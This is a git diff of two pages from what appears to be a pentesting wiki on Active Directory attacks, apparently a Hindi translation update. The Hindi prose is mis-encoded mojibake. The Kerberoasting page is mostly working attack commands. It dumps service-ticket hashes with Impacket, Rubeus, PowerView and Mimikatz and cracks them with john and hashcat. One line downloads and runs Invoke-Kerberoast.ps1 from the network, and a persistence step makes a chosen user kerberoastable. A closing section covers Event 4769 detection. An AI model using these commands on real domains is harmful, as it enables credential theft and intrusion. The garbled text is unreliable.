рд░рд┐рдХреЙрд░реНрдб рдирд╣реАрдВ рд╣реИ, рддреЛ рд╣рдо рдпрд╣ рдирд┐рд╖реНрдХрд░реНрд╖ рдирд┐рдХрд╛рд▓ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдЗрд╕реЗ рдСрдлрд╝рд▓рд╛рдЗрди рддреИрдпрд╛рд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред рдЗрд╕ **рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рд╕реЗ рдмрдЪрдиреЗ рдХреЗ рд▓рд┐рдП** рд╣реАрд░реЗ рдХреЗ рдЯрд┐рдХрдЯреЛрдВ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ: @@ -50,7 +56,7 @@ diamond-ticket.md - 4672: рдкреНрд░рд╢рд╛рд╕рдирд┐рдХ рд▓реЙрдЧрд┐рди - `Get-WinEvent -FilterHashtable @{Logname='Security';ID=4672} -MaxEvents 1 | Format-List тАУProperty` -рд░рдХреНрд╖рд╛ рдХрд░рдиреЗ рд╡рд╛рд▓реЛрдВ рдХреЗ рд▓рд┐рдП рдЕрдиреНрдп рдЫреЛрдЯреЗ рдЯреНрд░рд┐рдХреНрд╕ рд╣реИрдВ **рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП 4769 рдкрд░ рдЕрд▓рд░реНрдЯ рдХрд░рдирд╛** рдЬреИрд╕реЗ рдХрд┐ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдбреЛрдореЗрди рдкреНрд░рд╢рд╛рд╕рдХ рдЦрд╛рддрд╛ред +рд░рдХреНрд╖рд╛ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдЕрдиреНрдп рдЫреЛрдЯреЗ рдЯреНрд░рд┐рдХреНрд╕ рдпрд╣ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ **рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП 4769 рдкрд░ рдЕрд▓рд░реНрдЯ рдХрд░реЗрдВ** рдЬреИрд╕реЗ рдХрд┐ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдбреЛрдореЗрди рдкреНрд░рд╢рд╛рд╕рдХ рдЦрд╛рддрд╛ред ## рд╕рдВрджрд░реНрдн diff --git a/src/windows-hardening/active-directory-methodology/kerberoast.md b/src/windows-hardening/active-directory-methodology/kerberoast.md index c23ac239b..b134b806e 100644 --- a/src/windows-hardening/active-directory-methodology/kerberoast.md +++ b/src/windows-hardening/active-directory-methodology/kerberoast.md @@ -4,145 +4,169 @@ ## Kerberoast -Kerberoasting **TGS рдЯрд┐рдХрдЯреЛрдВ** рдХреЗ рдЕрдзрд┐рдЧреНрд░рд╣рдг рдкрд░ рдХреЗрдВрджреНрд░рд┐рдд рд╣реИ, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдЙрди рд╕реЗрд╡рд╛рдУрдВ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рдЬреЛ **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЦрд╛рддреЛрдВ** рдХреЗ рддрд╣рдд **Active Directory (AD)** рдореЗрдВ рд╕рдВрдЪрд╛рд▓рд┐рдд рд╣реЛрддреА рд╣реИрдВ, **рдХрдВрдкреНрдпреВрдЯрд░ рдЦрд╛рддреЛрдВ** рдХреЛ рдЫреЛрдбрд╝рдХрд░ред рдЗрди рдЯрд┐рдХрдЯреЛрдВ рдХрд╛ рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдЙрди рдХреБрдВрдЬрд┐рдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рдЬреЛ **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдкрд╛рд╕рд╡рд░реНрдб** рд╕реЗ рдЙрддреНрдкрдиреНрди рд╣реЛрддреА рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ **рдСрдлрд▓рд╛рдЗрди рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдХреНрд░реИрдХрд┐рдВрдЧ** рдХреА рд╕рдВрднрд╛рд╡рдирд╛ рд╣реЛрддреА рд╣реИред рдПрдХ рд╕реЗрд╡рд╛ рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЦрд╛рддреЗ рдХрд╛ рдЙрдкрдпреЛрдЧ рдПрдХ рдЧреИрд░-рдЦрд╛рд▓реА **"ServicePrincipalName"** рдкреНрд░реЙрдкрд░реНрдЯреА рджреНрд╡рд╛рд░рд╛ рд╕рдВрдХреЗрддрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред +Kerberoasting **TGS рдЯрд┐рдХрдЯреЛрдВ** рдХреЗ рдЕрдзрд┐рдЧреНрд░рд╣рдг рдкрд░ рдХреЗрдВрджреНрд░рд┐рдд рд╣реИ, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдЙрди рд╕реЗрд╡рд╛рдУрдВ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рдЬреЛ **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЦрд╛рддреЛрдВ** рдХреЗ рддрд╣рдд **Active Directory (AD)** рдореЗрдВ рдХрд╛рд░реНрдпрд░рдд рд╣реИрдВ, **рдХрдВрдкреНрдпреВрдЯрд░ рдЦрд╛рддреЛрдВ** рдХреЛ рдЫреЛрдбрд╝рдХрд░ред рдЗрди рдЯрд┐рдХрдЯреЛрдВ рдХрд╛ рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдЙрди рдХреБрдВрдЬрд┐рдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рдЬреЛ **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдкрд╛рд╕рд╡рд░реНрдб** рд╕реЗ рдЙрддреНрдкрдиреНрди рд╣реЛрддреА рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ **рдСрдлрд▓рд╛рдЗрди рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдХреНрд░реИрдХрд┐рдВрдЧ** рдХреА рд╕рдВрднрд╛рд╡рдирд╛ рд╣реЛрддреА рд╣реИред рдПрдХ рд╕реЗрд╡рд╛ рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЦрд╛рддреЗ рдХрд╛ рдЙрдкрдпреЛрдЧ рдПрдХ рдЧреИрд░-рдЦрд╛рд▓реА **"ServicePrincipalName"** рдкреНрд░реЙрдкрд░реНрдЯреА рджреНрд╡рд╛рд░рд╛ рд╕рдВрдХреЗрддрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред -**Kerberoasting** рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдПрдХ рдбреЛрдореЗрди рдЦрд╛рддрд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ рдЬреЛ **TGS рдЯрд┐рдХрдЯреЛрдВ** рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛ; рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЗрд╕ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рд▓рд┐рдП **рд╡рд┐рд╢реЗрд╖ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░** рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реЛрддреА рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдпрд╣ рдХрд┐рд╕реА рднреА рд╡реНрдпрдХреНрддрд┐ рдХреЗ рд▓рд┐рдП рд╕реБрд▓рдн рд╣реЛрддрд╛ рд╣реИ рдЬрд┐рд╕рдХреЗ рдкрд╛рд╕ **рдорд╛рдиреНрдп рдбреЛрдореЗрди рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕** рд╣реИрдВред +**Kerberoasting** рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдПрдХ рдбреЛрдореЗрди рдЦрд╛рддрд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ рдЬреЛ **TGS рдЯрд┐рдХрдЯреЛрдВ** рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛ; рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЗрд╕ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рд▓рд┐рдП **рд╡рд┐рд╢реЗрд╖ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░** рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реЛрддреА рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдпрд╣ рдХрд┐рд╕реА рднреА рд╡реНрдпрдХреНрддрд┐ рдХреЗ рд▓рд┐рдП **рдорд╛рдиреНрдп рдбреЛрдореЗрди рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕** рдХреЗ рд╕рд╛рде рд╕реБрд▓рдн рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред ### рдореБрдЦреНрдп рдмрд┐рдВрджреБ: - **Kerberoasting** **AD** рдХреЗ рднреАрддрд░ **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛-рдЦрд╛рддрд╛ рд╕реЗрд╡рд╛рдУрдВ** рдХреЗ рд▓рд┐рдП **TGS рдЯрд┐рдХрдЯреЛрдВ** рдХреЛ рд▓рдХреНрд╖рд┐рдд рдХрд░рддрд╛ рд╣реИред -- **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдкрд╛рд╕рд╡рд░реНрдб** рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХреБрдВрдЬрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХрд┐рдП рдЧрдП рдЯрд┐рдХрдЯреЛрдВ рдХреЛ **рдСрдлрд▓рд╛рдЗрди рдХреНрд░реИрдХ** рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +- **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдкрд╛рд╕рд╡рд░реНрдб** рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХреБрдВрдЬрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рдЯрд┐рдХрдЯреЛрдВ рдХреЛ **рдСрдлрд▓рд╛рдЗрди рдХреНрд░реИрдХ** рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред - рдПрдХ рд╕реЗрд╡рд╛ рдХреЛ рдПрдХ **ServicePrincipalName** рджреНрд╡рд╛рд░рд╛ рдкрд╣рдЪрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ рд╢реВрдиреНрдп рдирд╣реАрдВ рд╣реИред - **рд╡рд┐рд╢реЗрд╖ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░** рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИ, рдХреЗрд╡рд▓ **рдорд╛рдиреНрдп рдбреЛрдореЗрди рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕**ред ### **рд╣рдорд▓рд╛** > [!WARNING] -> **Kerberoasting рдЙрдкрдХрд░рдг** рдЖрдорддреМрд░ рдкрд░ рд╣рдорд▓реЗ рдХреЛ рдХрд░рдиреЗ рдФрд░ TGS-REQ рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рдкреНрд░рд╛рд░рдВрдн рдХрд░рдиреЗ рдХреЗ рджреМрд░рд╛рди **`RC4 рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди`** рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд░рддреЗ рд╣реИрдВред рдЗрд╕рдХрд╛ рдХрд╛рд░рдг рдпрд╣ рд╣реИ рдХрд┐ **RC4** [**рдХрдордЬреЛрд░**](https://www.stigviewer.com/stig/windows_10/2017-04-28/finding/V-63795) рд╣реИ рдФрд░ Hashcat рдЬреИрд╕реЗ рдЙрдкрдХрд░рдгреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЕрдиреНрдп рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдПрд▓реНрдЧреЛрд░рд┐рджрдо рдЬреИрд╕реЗ AES-128 рдФрд░ AES-256 рдХреА рддреБрд▓рдирд╛ рдореЗрдВ рдСрдлрд▓рд╛рдЗрди рдХреНрд░реИрдХ рдХрд░рдирд╛ рдЖрд╕рд╛рди рд╣реИред\ -> RC4 (рдкреНрд░рдХрд╛рд░ 23) рд╣реИрд╢ **`$krb5tgs$23$*`** рд╕реЗ рд╢реБрд░реВ рд╣реЛрддреЗ рд╣реИрдВ рдЬрдмрдХрд┐ AES-256 (рдкреНрд░рдХрд╛рд░ 18) **`$krb5tgs$18$*`** рд╕реЗ рд╢реБрд░реВ рд╣реЛрддреЗ рд╣реИрдВред +> **Kerberoasting рдЙрдкрдХрд░рдг** рдЖрдорддреМрд░ рдкрд░ рд╣рдорд▓реЗ рдХреЛ рдХрд░рддреЗ рд╕рдордп рдФрд░ TGS-REQ рдЕрдиреБрд░реЛрдз рд╢реБрд░реВ рдХрд░рддреЗ рд╕рдордп **`RC4 рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди`** рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд░рддреЗ рд╣реИрдВред рдЗрд╕рдХрд╛ рдХрд╛рд░рдг рдпрд╣ рд╣реИ рдХрд┐ **RC4** [**рдХрдордЬреЛрд░**](https://www.stigviewer.com/stig/windows_10/2017-04-28/finding/V-63795) рд╣реИ рдФрд░ Hashcat рдЬреИрд╕реЗ рдЙрдкрдХрд░рдгреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЕрдиреНрдп рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдПрд▓реНрдЧреЛрд░рд┐рджрдо рдЬреИрд╕реЗ AES-128 рдФрд░ AES-256 рдХреА рддреБрд▓рдирд╛ рдореЗрдВ рдСрдлрд▓рд╛рдЗрди рдХреНрд░реИрдХ рдХрд░рдирд╛ рдЖрд╕рд╛рди рд╣реИред\ +> RC4 (рдкреНрд░рдХрд╛рд░ 23) рд╣реИрд╢ **`$krb5tgs$23$*`** рд╕реЗ рд╢реБрд░реВ рд╣реЛрддреЗ рд╣реИрдВ рдЬрдмрдХрд┐ AES-256 (рдкреНрд░рдХрд╛рд░ 18) **`$krb5tgs$18$*`** рд╕реЗ рд╢реБрд░реВ рд╣реЛрддреЗ рд╣реИрдВред\ +> рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рд╕рд╛рд╡рдзрд╛рди рд░рд╣реЗрдВ рдХреНрдпреЛрдВрдХрд┐ `Rubeus.exe kerberoast` рд╕рднреА рдХрдордЬреЛрд░ рдЦрд╛рддреЛрдВ рдкрд░ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдЯрд┐рдХрдЯреЛрдВ рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд░реЗрдЧрд╛ рдЬрд┐рд╕рд╕реЗ рдЖрдкрдХреЛ рдкрддрд╛ рдЪрд▓ рдЬрд╛рдПрдЧрд╛ред рдкрд╣рд▓реЗ рдЙрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдЦреЛрдЬреЗрдВ рдЬрд┐рдирдХреЗ рдкрд╛рд╕ рджрд┐рд▓рдЪрд╕реНрдк рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╣реИрдВ рдФрд░ рдлрд┐рд░ рдХреЗрд╡рд▓ рдЙрдирдХреЗ рдКрдкрд░ рдЗрд╕реЗ рдЪрд▓рд╛рдПрдБред +```bash + +#### **Linux** + ```bash # Metasploit framework msf> use auxiliary/gather/get_user_spns # Impacket -GetUserSPNs.py -request -dc-ip / -outputfile hashes.kerberoast # Password will be prompted +GetUserSPNs.py -request -dc-ip / -outputfile hashes.kerberoast # рдкрд╛рд╕рд╡рд░реНрдб рдорд╛рдВрдЧрд╛ рдЬрд╛рдПрдЧрд╛ GetUserSPNs.py -request -dc-ip -hashes : / -outputfile hashes.kerberoast # kerberoast: https://github.com/skelsec/kerberoast -kerberoast ldap spn 'ldap+ntlm-password://\:@' -o kerberoastable # 1. Enumerate kerberoastable users -kerberoast spnroast 'kerberos+password://\:@' -t kerberoastable_spn_users.txt -o kerberoast.hashes # 2. Dump hashes +kerberoast ldap spn 'ldap+ntlm-password://\:@' -o kerberoastable # 1. kerberoastable рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреА рдЧрдгрдирд╛ рдХрд░реЗрдВ +kerberoast spnroast 'kerberos+password://\:@' -t kerberoastable_spn_users.txt -o kerberoast.hashes # 2. рд╣реИрд╢ рдбрдВрдк рдХрд░реЗрдВ ``` -рдорд▓реНрдЯреА-рдлреАрдЪрд░реНрд╕ рдЯреВрд▓реНрд╕ рдЬрд┐рд╕рдореЗрдВ kerberoastable рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХрд╛ рдбрдВрдк рд╢рд╛рдорд┐рд▓ рд╣реИ: + +Multi-features tools including a dump of kerberoastable users: + ```bash # ADenum: https://github.com/SecuProject/ADenum adenum -d -ip -u -p -c ``` + #### Windows -- **Kerberoastable рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреА рдЧрдгрдирд╛ рдХрд░реЗрдВ** -```powershell -# Get Kerberoastable users -setspn.exe -Q */* #This is a built-in binary. Focus on user accounts +- **Enumerate Kerberoastable users** + +```bash +# Kerberoastable рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ +setspn.exe -Q */* #рдпрд╣ рдПрдХ рдЕрдВрддрд░реНрдирд┐рд╣рд┐рдд рдмрд╛рдЗрдирд░реА рд╣реИред рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЦрд╛рддреЛрдВ рдкрд░ рдзреНрдпрд╛рди рджреЗрдВ Get-NetUser -SPN | select serviceprincipalname #Powerview .\Rubeus.exe kerberoast /stats ``` -- **рддрдХрдиреАрдХ 1: TGS рдХреЗ рд▓рд┐рдП рдкреВрдЫреЗрдВ рдФрд░ рдЗрд╕реЗ рдореЗрдореЛрд░реА рд╕реЗ рдбрдВрдк рдХрд░реЗрдВ** -```powershell -#Get TGS in memory from a single user -Add-Type -AssemblyName System.IdentityModel -New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName" #Example: MSSQLSvc/mgmt.domain.local -#Get TGSs for ALL kerberoastable accounts (PCs included, not really smart) +- **Technique 1: Ask for TGS and dump it from memory** + +```bash +# рдПрдХрд▓ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕реЗ рдореЗрдореЛрд░реА рдореЗрдВ TGS рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ +Add-Type -AssemblyName System.IdentityModel +New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName" #рдЙрджрд╛рд╣рд░рдг: MSSQLSvc/mgmt.domain.local + +# рд╕рднреА kerberoastable рдЦрд╛рддреЛрдВ рдХреЗ рд▓рд┐рдП TGS рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ (PCs рд╢рд╛рдорд┐рд▓, рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рд╕реНрдорд╛рд░реНрдЯ рдирд╣реАрдВ) setspn.exe -T DOMAIN_NAME.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() } -#List kerberos tickets in memory +# рдореЗрдореЛрд░реА рдореЗрдВ kerberos рдЯрд┐рдХрдЯреЛрдВ рдХреА рд╕реВрдЪреА рдмрдирд╛рдПрдВ klist -# Extract them from memory -Invoke-Mimikatz -Command '"kerberos::list /export"' #Export tickets to current folder +# рдЙрдиреНрд╣реЗрдВ рдореЗрдореЛрд░реА рд╕реЗ рдирд┐рдХрд╛рд▓реЗрдВ +Invoke-Mimikatz -Command '"kerberos::list /export"' #рд╡рд░реНрддрдорд╛рди рдлрд╝реЛрд▓реНрдбрд░ рдореЗрдВ рдЯрд┐рдХрдЯ рдирд┐рд░реНрдпрд╛рдд рдХрд░реЗрдВ -# Transform kirbi ticket to john +# kirbi рдЯрд┐рдХрдЯ рдХреЛ john рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдХрд░реЗрдВ python2.7 kirbi2john.py sqldev.kirbi -# Transform john to hashcat +# john рдХреЛ hashcat рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдХрд░реЗрдВ sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat ``` -- **рддрдХрдиреАрдХ 2: рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдЙрдкрдХрд░рдг** + +- **Technique 2: Automatic tools** + ```bash -# Powerview: Get Kerberoast hash of a user -Request-SPNTicket -SPN "" -Format Hashcat #Using PowerView Ex: MSSQLSvc/mgmt.domain.local -# Powerview: Get all Kerberoast hashes +# Powerview: рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ Kerberoast рд╣реИрд╢ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ +Request-SPNTicket -SPN "" -Format Hashcat #PowerView рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП рдЙрджрд╛рд╣рд░рдг: MSSQLSvc/mgmt.domain.local +# Powerview: рд╕рднреА Kerberoast рд╣реИрд╢ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\kerberoast.csv -NoTypeInformation # Rubeus .\Rubeus.exe kerberoast /outfile:hashes.kerberoast -.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast #Specific user -.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap #Get of admins +.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast #рд╡рд┐рд╢рд┐рд╖реНрдЯ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ +.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap #рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХреЛрдВ рдХрд╛ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ # Invoke-Kerberoast iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1") Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast ``` -> [!WARNING] -> рдЬрдм рдПрдХ TGS рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, Windows рдЗрд╡реЗрдВрдЯ `4769 - A Kerberos service ticket was requested` рдЙрддреНрдкрдиреНрди рд╣реЛрддрд╛ рд╣реИред -### рдХреНрд░реИрдХрд┐рдВрдЧ +> [!WARNING] +> When a TGS is requested, Windows event `4769 - A Kerberos service ticket was requested` is generated. + +### Cracking + ```bash -john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast -hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt +john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast +hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt ./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi ``` + ### Persistence -рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдкрд░ **рдкрд░реНрдпрд╛рдкреНрдд рдЕрдиреБрдорддрд┐рдпрд╛рдБ** рд╣реИрдВ, рддреЛ рдЖрдк рдЗрд╕реЗ **kerberoastable** рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ: +If you have **enough permissions** over a user you can **make it kerberoastable**: + ```bash Set-DomainObject -Identity -Set @{serviceprincipalname='just/whateverUn1Que'} -verbose ``` -рдЖрдк рдЙрдкрдпреЛрдЧреА **tools** **kerberoast** рд╣рдорд▓реЛрдВ рдХреЗ рд▓рд┐рдП рдпрд╣рд╛рдБ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ: [https://github.com/nidem/kerberoast](https://github.com/nidem/kerberoast) -рдпрджрд┐ рдЖрдк Linux рд╕реЗ рдпрд╣ **error** рдкрд╛рддреЗ рд╣реИрдВ: **`Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)`** рддреЛ рдпрд╣ рдЖрдкрдХреЗ рд╕реНрдерд╛рдиреАрдп рд╕рдордп рдХреЗ рдХрд╛рд░рдг рд╣реИ, рдЖрдкрдХреЛ рд╣реЛрд╕реНрдЯ рдХреЛ DC рдХреЗ рд╕рд╛рде рд╕рдордиреНрд╡рдпрд┐рдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред рдХреБрдЫ рд╡рд┐рдХрд▓реНрдк рд╣реИрдВ: +You can find useful **tools** for **kerberoast** attacks here: [https://github.com/nidem/kerberoast](https://github.com/nidem/kerberoast) -- `ntpdate ` - Ubuntu 16.04 рд╕реЗ рд╣рдЯрд╛ рджрд┐рдпрд╛ рдЧрдпрд╛ +If you find this **error** from Linux: **`Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)`** it because of your local time, you need to synchronise the host with the DC. There are a few options: + +- `ntpdate ` - Deprecated as of Ubuntu 16.04 - `rdate -n ` ### Mitigation -Kerberoasting рдХреЛ рдЙрдЪреНрдЪ рд╕реНрддрд░ рдХреА рдЫрд┐рдкрд╛рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рдХреЗ рд╕рд╛рде рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдпрджрд┐ рдпрд╣ рд╢реЛрд╖рдг рдпреЛрдЧреНрдп рд╣реИред рдЗрд╕ рдЧрддрд┐рд╡рд┐рдзрд┐ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреЗ рд▓рд┐рдП, **Security Event ID 4769** рдкрд░ рдзреНрдпрд╛рди рджрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП, рдЬреЛ рдЗрдВрдЧрд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдПрдХ Kerberos рдЯрд┐рдХрдЯ рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЗрд╕ рдШрдЯрдирд╛ рдХреА рдЙрдЪреНрдЪ рдЖрд╡реГрддреНрддрд┐ рдХреЗ рдХрд╛рд░рдг, рд╕рдВрджрд┐рдЧреНрдз рдЧрддрд┐рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЛ рдЕрд▓рдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд┐рд╢рд┐рд╖реНрдЯ рдлрд╝рд┐рд▓реНрдЯрд░ рд▓рд╛рдЧреВ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ: +Kerberoasting can be conducted with a high degree of stealthiness if it is exploitable. In order to detect this activity, attention should be paid to **Security Event ID 4769**, which indicates that a Kerberos ticket has been requested. However, due to the high frequency of this event, specific filters must be applied to isolate suspicious activities: + +- The service name should not be **krbtgt**, as this is a normal request. +- Service names ending with **$** should be excluded to avoid including machine accounts used for services. +- Requests from machines should be filtered out by excluding account names formatted as **machine@domain**. +- Only successful ticket requests should be considered, identified by a failure code of **'0x0'**. +- **Most importantly**, the ticket encryption type should be **0x17**, which is often used in Kerberoasting attacks. -- рд╕реЗрд╡рд╛ рдирд╛рдо **krbtgt** рдирд╣реАрдВ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП, рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рдПрдХ рд╕рд╛рдорд╛рдиреНрдп рдЕрдиреБрд░реЛрдз рд╣реИред -- **$** рдХреЗ рд╕рд╛рде рд╕рдорд╛рдкреНрдд рд╣реЛрдиреЗ 